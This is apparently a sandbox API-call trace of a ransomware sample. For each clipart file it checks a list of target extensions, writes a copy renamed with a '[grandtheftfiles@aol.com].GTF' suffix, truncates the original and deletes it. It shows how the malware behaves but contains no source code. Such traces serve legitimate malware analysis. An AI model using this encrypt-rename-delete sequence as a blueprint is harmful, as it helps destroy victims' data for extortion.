	[0085.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1
	[0085.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.162] lstrlenW (lpString=".doc") returned 4
	[0085.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString=".docx") returned 5
	[0085.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.163] lstrlenW (lpString=".pdf") returned 4
	[0085.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString=".xls") returned 4
	[0085.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.163] lstrlenW (lpString=".xlsx") returned 5
	[0085.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.163] lstrlenW (lpString=".ppt") returned 4
	[0085.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString=".zip") returned 4
	[0085.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.163] lstrlenW (lpString=".rar") returned 4
	[0085.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString=".bz2") returned 4
	[0085.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString=".7z") returned 3
	[0085.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString=".dbf") returned 4
	[0085.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString=".1cd") returned 4
	[0085.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString=".jpg") returned 4
	[0085.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.163] lstrlenW (lpString=".doc") returned 4
	[0085.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.163] lstrlenW (lpString=".docx") returned 5
	[0085.164] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.164] lstrlenW (lpString=".pdf") returned 4
	[0085.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString=".xls") returned 4
	[0085.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.164] lstrlenW (lpString=".xlsx") returned 5
	[0085.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.164] lstrlenW (lpString=".ppt") returned 4
	[0085.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.164] lstrlenW (lpString=".zip") returned 4
	[0085.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.164] lstrlenW (lpString=".rar") returned 4
	[0085.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString=".bz2") returned 4
	[0085.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString=".7z") returned 3
	[0085.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.164] lstrlenW (lpString=".dbf") returned 4
	[0085.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.164] lstrlenW (lpString=".1cd") returned 4
	[0085.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0085.164] lstrlenW (lpString=".jpg") returned 4
	[0085.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.164] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.164] lstrlenW (lpString="CG1606.WMF") returned 10
	[0085.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.165] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3564) returned 1
	[0085.165] CloseHandle (hObject=0x378) returned 1
	[0085.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220
	[0085.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.166] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.166] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.167] GetLastError () returned 0x0
	[0085.167] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xdec, lpOverlapped=0x0) returned 1
	[0085.169] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xdf0, lpOverlapped=0x0) returned 1
	[0085.170] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.170] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0085.170] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.170] CloseHandle (hObject=0x2d0) returned 1
	[0085.171] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.172] SetEndOfFile (hFile=0x378) returned 1
	[0085.172] CloseHandle (hObject=0x378) returned 1
	[0085.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1
	[0085.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.173] lstrlenW (lpString=".doc") returned 4
	[0085.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.173] lstrlenW (lpString=".docx") returned 5
	[0085.173] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0085.173] lstrlenW (lpString=".pdf") returned 4
	[0085.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.173] lstrlenW (lpString=".xls") returned 4
	[0085.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.173] lstrlenW (lpString=".xlsx") returned 5
	[0085.173] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0085.173] lstrlenW (lpString=".ppt") returned 4
	[0085.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.173] lstrlenW (lpString=".zip") returned 4
	[0085.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.173] lstrlenW (lpString=".rar") returned 4
	[0085.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".bz2") returned 4
	[0085.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".7z") returned 3
	[0085.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString=".dbf") returned 4
	[0085.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString=".1cd") returned 4
	[0085.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString=".jpg") returned 4
	[0085.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString=".doc") returned 4
	[0085.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".docx") returned 5
	[0085.174] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0085.174] lstrlenW (lpString=".pdf") returned 4
	[0085.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".xls") returned 4
	[0085.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.174] lstrlenW (lpString=".xlsx") returned 5
	[0085.174] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0085.174] lstrlenW (lpString=".ppt") returned 4
	[0085.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.174] lstrlenW (lpString=".zip") returned 4
	[0085.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.174] lstrlenW (lpString=".rar") returned 4
	[0085.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".bz2") returned 4
	[0085.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.174] lstrlenW (lpString=".7z") returned 3
	[0085.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.175] lstrlenW (lpString=".dbf") returned 4
	[0085.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.175] lstrlenW (lpString=".1cd") returned 4
	[0085.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0085.175] lstrlenW (lpString=".jpg") returned 4
	[0085.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.175] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.175] lstrlenW (lpString="CLASSIC1.WMF") returned 12
	[0085.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.175] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2422) returned 1
	[0085.175] CloseHandle (hObject=0x378) returned 1
	[0085.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220
	[0085.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.176] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.176] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.186] GetLastError () returned 0x0
	[0085.194] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x976, lpOverlapped=0x0) returned 1
	[0085.238] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x980, lpOverlapped=0x0) returned 1
	[0085.239] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.239] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.239] SetEndOfFile (hFile=0x35c) returned 1
	[0085.239] CloseHandle (hObject=0x35c) returned 1
	[0085.240] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.240] SetEndOfFile (hFile=0x378) returned 1
	[0085.241] CloseHandle (hObject=0x378) returned 1
	[0085.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1
	[0085.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.242] lstrlenW (lpString=".doc") returned 4
	[0085.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString=".docx") returned 5
	[0085.242] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0085.242] lstrlenW (lpString=".pdf") returned 4
	[0085.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString=".xls") returned 4
	[0085.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.242] lstrlenW (lpString=".xlsx") returned 5
	[0085.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0085.242] lstrlenW (lpString=".ppt") returned 4
	[0085.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.242] lstrlenW (lpString=".zip") returned 4
	[0085.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.242] lstrlenW (lpString=".rar") returned 4
	[0085.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString=".bz2") returned 4
	[0085.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString=".7z") returned 3
	[0085.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.242] lstrlenW (lpString=".dbf") returned 4
	[0085.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".1cd") returned 4
	[0085.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".jpg") returned 4
	[0085.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".doc") returned 4
	[0085.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString=".docx") returned 5
	[0085.243] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0085.243] lstrlenW (lpString=".pdf") returned 4
	[0085.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString=".xls") returned 4
	[0085.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.243] lstrlenW (lpString=".xlsx") returned 5
	[0085.243] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0085.243] lstrlenW (lpString=".ppt") returned 4
	[0085.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".zip") returned 4
	[0085.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.243] lstrlenW (lpString=".rar") returned 4
	[0085.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString=".bz2") returned 4
	[0085.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString=".7z") returned 3
	[0085.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".dbf") returned 4
	[0085.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".1cd") returned 4
	[0085.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0085.243] lstrlenW (lpString=".jpg") returned 4
	[0085.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.244] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.244] lstrlenW (lpString="DD00121_.WMF") returned 12
	[0085.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.253] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=8256) returned 1
	[0085.253] CloseHandle (hObject=0x368) returned 1
	[0085.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220
	[0085.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.253] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.254] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.257] GetLastError () returned 0x0
	[0085.257] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2040, lpOverlapped=0x0) returned 1
	[0085.260] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2050, lpOverlapped=0x0) returned 1
	[0085.261] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.261] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.261] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.263] CloseHandle (hObject=0x2fc) returned 1
	[0085.266] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.266] SetEndOfFile (hFile=0x368) returned 1
	[0085.284] CloseHandle (hObject=0x368) returned 1
